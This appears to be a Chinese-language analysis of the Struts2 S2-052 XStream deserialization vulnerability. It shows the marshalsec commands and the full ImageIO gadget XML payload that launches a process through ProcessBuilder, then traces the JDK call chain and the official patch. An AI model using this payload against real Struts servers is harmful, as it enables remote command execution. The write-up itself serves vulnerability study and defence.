近期曝光的S2-052漏洞备受瞩目,之前的struts版本只要开启了rest插件都有可能会受到影响,网上已经公开的POC已经包含了能够进行远程攻击的payload,该payload实际上是marshallsec利用XStream中的ImageIO gadget生成的XML。本文会介绍从payload生成到执行的整个流程。
本次实验分析的jdk版本为1.8。
生成payload
payload的生成过程非常简单:
git clone https://github.com/mbechler/marshalsec.git mvn clean package -DskipTests java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc
生成的payload如下:
<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command> <string>calc</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> </entry> </map>
过程分析
1. 寻找xml解释器
当payload发送到存在漏洞的struts服务端时,可以看到会调用到XStreamHandler类的toObject方法将xml转化成对象。
在调用XStreamHandler的toObject方法之前,RestActionInvocation会读取struts-plugin.xml中的解释器并遍历来寻找能够解析输入的Interceptor,直到找到rest库中的ContentTypeInterceptor类(第17次找到rest,对应于下图的16项)。
2. 解析XML
首先给出比较重要的调用过程:
toObject, XStreamHandler fromXML, XStream ... start, TreeUnmarshaller // 真正开始解析XML,识别类并转化成对象 ... unmarshal, MapConverter // 开始解析顶层的Map对象 populateMap, MapConverter putCurrentEntryInfoMap, MapConverter // 解析第一对Entry,即<key, value>结构 key = readItem // 生成jdk.nashorn.internal.objects.NativeString对象 readClassType // 读取key的类型,即jdk.nashorn.internal.objects.NativeString ConvertAnother // 递归解析对象 ..... value = readItem put(key, value), HashMap // 将解析的key,value对象添加到HashMap中 putVal, HashMap hash(key), HashMap // 对key计算hash key.hashCode, NativeString getStringValue, NativeString toString, Base64Data //调用value的toString方法 get, Base64Data readFrom, ByteArrayOutputStreamEx read, CipherInputStream getMoreData, CipherInputStream update, NullCipher chooseFirstProvider, NullCipher next, FilterIterator advance, FilterIterator filter, FilterIterator method.invoke // ProcessBuilder.start()
总结一下就是XStream会完成NativeString对象(map第一个键值对)的正常解析,但是当把键值对添加到HashMap对象中时,会计算key (NativeString) 的hash值,也就是对NativeString的value计算hash,但是value的类型并不是String,而是Base64Data,调用Base64Data的toString方法会引发接下来的一系列调用,最终导致命令执行。
下面针对其中的调用过程进行追踪:
2.1 key对象解析
ContentTypeInterceptor的intercept方法会获取能够解析request内容的handler,并调用handler的toObject方法。
public String intercept(ActionInvocation invocation) throws Exception { HttpServletRequest request = ServletActionContext.getRequest(); ContentTypeHandler handler = this.selector.getHandlerForRequest(request); // XStreamHandler Object target = invocation.getAction(); if(target instanceof ModelDriven) { target = ((ModelDriven)target).getModel(); } if(request.getContentLength() > 0) { InputStream is = request.getInputStream(); InputStreamReader reader = new InputStreamReader(is); handler.toObject(reader, target); // XStreamHandler.toObject } return invocation.invoke(); }
XStreamHandler则会调用XStream类的fromXML方法,将Reader对象中的内容转换成target对象。
public void toObject(Reader in, Object target) { XStream xstream = this.createXStream(); xstream.fr
omXML(in, target); }
struts官方发布的新版本也正是在这里进行了修改,新版本的相关方法如下:
public void toObject(ActionInvocation invocation, Reader in, Object target) { XStream xstream = CreateXStream(invocation); xstream.fromXML(in, target); } protected XStream createXStream(ActionInvocation invocation){ XStream stream = new XStream(); stream.addPermission(NoTypePermission.None); addPerActionPermission(invocation, stream); addDefaultPermissions(invocation, stream); return stream; }
针对每个action对创建的xstream流对象进行了权限控制,只允许对指定的类进行解析。
从XStream的toObject方法开始,直到TreeUnmarshaller的start方法才开始解析XML结构:
public Object start(DataHolder dataHolder) { this.dataHolder = dataHolder; Class type = HierarchicalStreams.readClassType(this.reader, this.mapper); // java.util.Map Object result = this.convertAnother((Object)null, type); Iterator validations = this.validationList.iterator(); while(validations.hasNext()) { Runnable runnable = (Runnable)validations.next(); runnable.run(); } return result; }
start方法首先读取reader的顶级标签类,此时type对应顶层的标签,也就是 java.uti.Map接口。之后进入到ConvertAnother方法:
public Object convertAnother(Object parent, Class type, Converter converter) { type = this.mapper.defaultImplementationOf(type); // java.util.HashMap if(converter == null) { converter = this.converterLookup.lookupConverterForType(type); } else if(!converter.canConvert(type)) { ConversionException e = new ConversionException("Explicit selected converter cannot handle type"); e.add("item-type", type.getName()); e.add("converter-type", converter.getClass().getName()); throw e; } return this.convert(parent, type, converter); }
convertAnother方法首先会找到该类对应的具体实现类,java.util.Map变成java.util.HashMap类,然后去寻找合适的转换器,对应于HashMap类找到的converter为MapConverter,通过子类父类的方法调用,最后会执行到MapConvert的unmarshal方法
MapConverter的unmarshal方法会调用populateMap对XML结构进行解析,populateMap又会调用putCurrentEntryInfoMap来不断读取每一对标签中的内容,作为一个组合。
protected void putCurrentEntryIntoMap(HierarchicalStreamReader reader, UnmarshallingContext context, Map map, Map target) { reader.moveDown(); Object key = this.readItem(reader, context, map); reader.moveUp(); reader.moveDown(); Object value = this.readItem(reader, context, map); reader.moveUp(); target.put(key, value); } protected Object readItem(HierarchicalStreamReader reader, UnmarshallingContext context, Object current) { Class type = HierarchicalStreams.readClassType(reader, this.mapper()); return context.convertAnother(current, type); }
对key和value对象的解析会调用readItem方法,该方法与TreeUnmarshaller的start方法类似,都是读取类型,然后根据该类型转换成对应的对象。最终解析完成之后第一个entry的key会转换成NativeString对象,该对象的value字段为Base64Data对象。key的解析结果如下:
2.2 命令执行
key对象的转换过程只是一个填充对象字段的过程,不涉及命令执行。当对key和value的解析过程完成,接下来调用target.put(key, value),将键值对加入到HashMap中。该方法会对key计算hash,调用key.hashCode方法,即 NativeString的hashCode方法。
public V put(K key, V value) { return putVal(hash(key), key, value, false, true); } static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }
NativeString的hashCode方法首先调用getStringValue获取value的string值,再调用String的hashCode方法。
public int hashCode() { return this.getStringValue().hashCode(); } private String getStringValue() { return this.value instanceof String?(String)this.value:this.value.toString(); }
在getStringValue的调用过程中,由于value是Base64Data类型而不是String类型,因此会调用value的toString方法,即Base64Data的toString方法转换成String对象。
public String toString() { this.get(); return DatatypeConverterImpl._printBase64Binary(this.data, 0, this.dataLen); } public byte[] get() { if(this.data == null) { try { ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024); InputStream is = this.dataHandler.getDataSource().getInputStream(); // CipherInputStream baos.readFrom(is); // in is.close(); this.data = baos.getBuffer(); this.dataLen = baos.size(); } catch (IOException var3) { this.dataLen = 0; } } return this.data; }
Base64Data的toString方法会调用get方法获取数据,get方法又会从Base64的InputStream流中读取数据,执行到ByteArrayOutputStreamEx的readFrom方法。
public void readFrom(InputStream is) throws IOException { while(true) { if(this.count == this.buf.length) { byte[] data = new byte[this.buf.length * 2]; System.arraycopy(this.buf, 0, data, 0, this.buf.length); this.buf = data; } int sz = is.read(this.buf, this.count, this.buf.length - this.count); // read here if(sz < 0) { return; } this.count += sz; } }
其中的is成员是CipherInputStream对象,执行is.read也就是调用CipherInputStream类的read方法。payload中CipherInputStream对象的ostart为0 (0), ofinish也为0 (0) ,满足if条件,因此会执行get
MoreData方法。
public int read(byte[] var1, int var2, int var3) throws IOException { int var4; if(this.ostart >= this.ofinish) { for(var4 = 0; var4 == 0; var4 = this.getMoreData()) { ; } ...... } private int getMoreData() throws IOException { if(this.done) { return -1; } else { int var1 = this.input.read(this.ibuffer); if(var1 == -1) { ...... } else { try { this.obuffer = this.cipher.update(this.ibuffer, 0, var1); } catch (IllegalStateException var4) { this.obuffer = null; throw var4; } ...... } } }
CipherInputStream的done为False,再看下input的read方法,即NullInputStream类的read方法:
public int read(byte b[]) throws IOException { return read(b, 0, b.length); } public int read(byte b[], int off, int len) throws IOException { if (b == null) { throw new NullPointerException(); } else if (off < 0 || len < 0 || len > b.length - off) { throw new IndexOutOfBoundsException(); } else if (len == 0) { return 0; } ...... }
参数b是CipherInputStream的ibuffer成员,是一个length为0的byte数组,相当于调用read(byte [0], 0, 0),read返回值为0。继续回到getMoreData,var1为0,执行到cipher的update方法,即NullCipher的update方法,参数分别为byte[0], 0, 0
public final byte[] update(byte[] var1, int var2, int var3) { this.checkCipherState(); if(var1 != null && var2 >= 0 && var3 <= var1.length - var2 && var3 >= 0) { this.chooseFirstProvider(); return var3 == 0?null:this.spi.engineUpdate(var1, var2, var3); } else { throw new IllegalArgumentException("Bad arguments"); } } void chooseFirstProvider() { if(this.firstService == null && !this.serviceIterator.hasNext()) { ...... throw; } if(this.firstService!=null){ ...... }else{ var3 = (Service)this.serviceIterator.next(); ...... } ...... }
update中var!=null && var2>=0 && var3 <= var1.length - var2 && var3>=0
的条件是满足的,调用chooseFirstProvider方法。由于firstService为null, 并且serviceIterator的next是”foo”,因此执行到serviceIterator.next方法,serviceIterator对象如下:
public T next() { if (next == null) { throw new NoSuchElementException(); } T o = next; advance(); return o; } private void advance() { while (iter.hasNext()) { T elt = iter.next(); if (filter.filter(elt)) { next = elt; return; } } next = null; }
serviceIterator的next不为空,next方法会执行advance方法,由于iter的next成员不为空,调用iter.next方法,返回值为ProcessBuilder对象,调用filter的filter方法,即ContainsFilter的filter方法,参数为ProcessBuilder对象。
public boolean filter(Object elt) { try { return contains((String[])method.invoke(elt), name); } catch (Exception e) { return false; } }
method成员为ProcessBuilder.start方法,elt为ProcessBuilder对象,因此method.invoke(elt)相当于 ProcessBuilder.start() 调用,其中ProcessBuilder为已经构造好要执行的命令的对象,对象内容如下,最终达到命令执行的目的。
*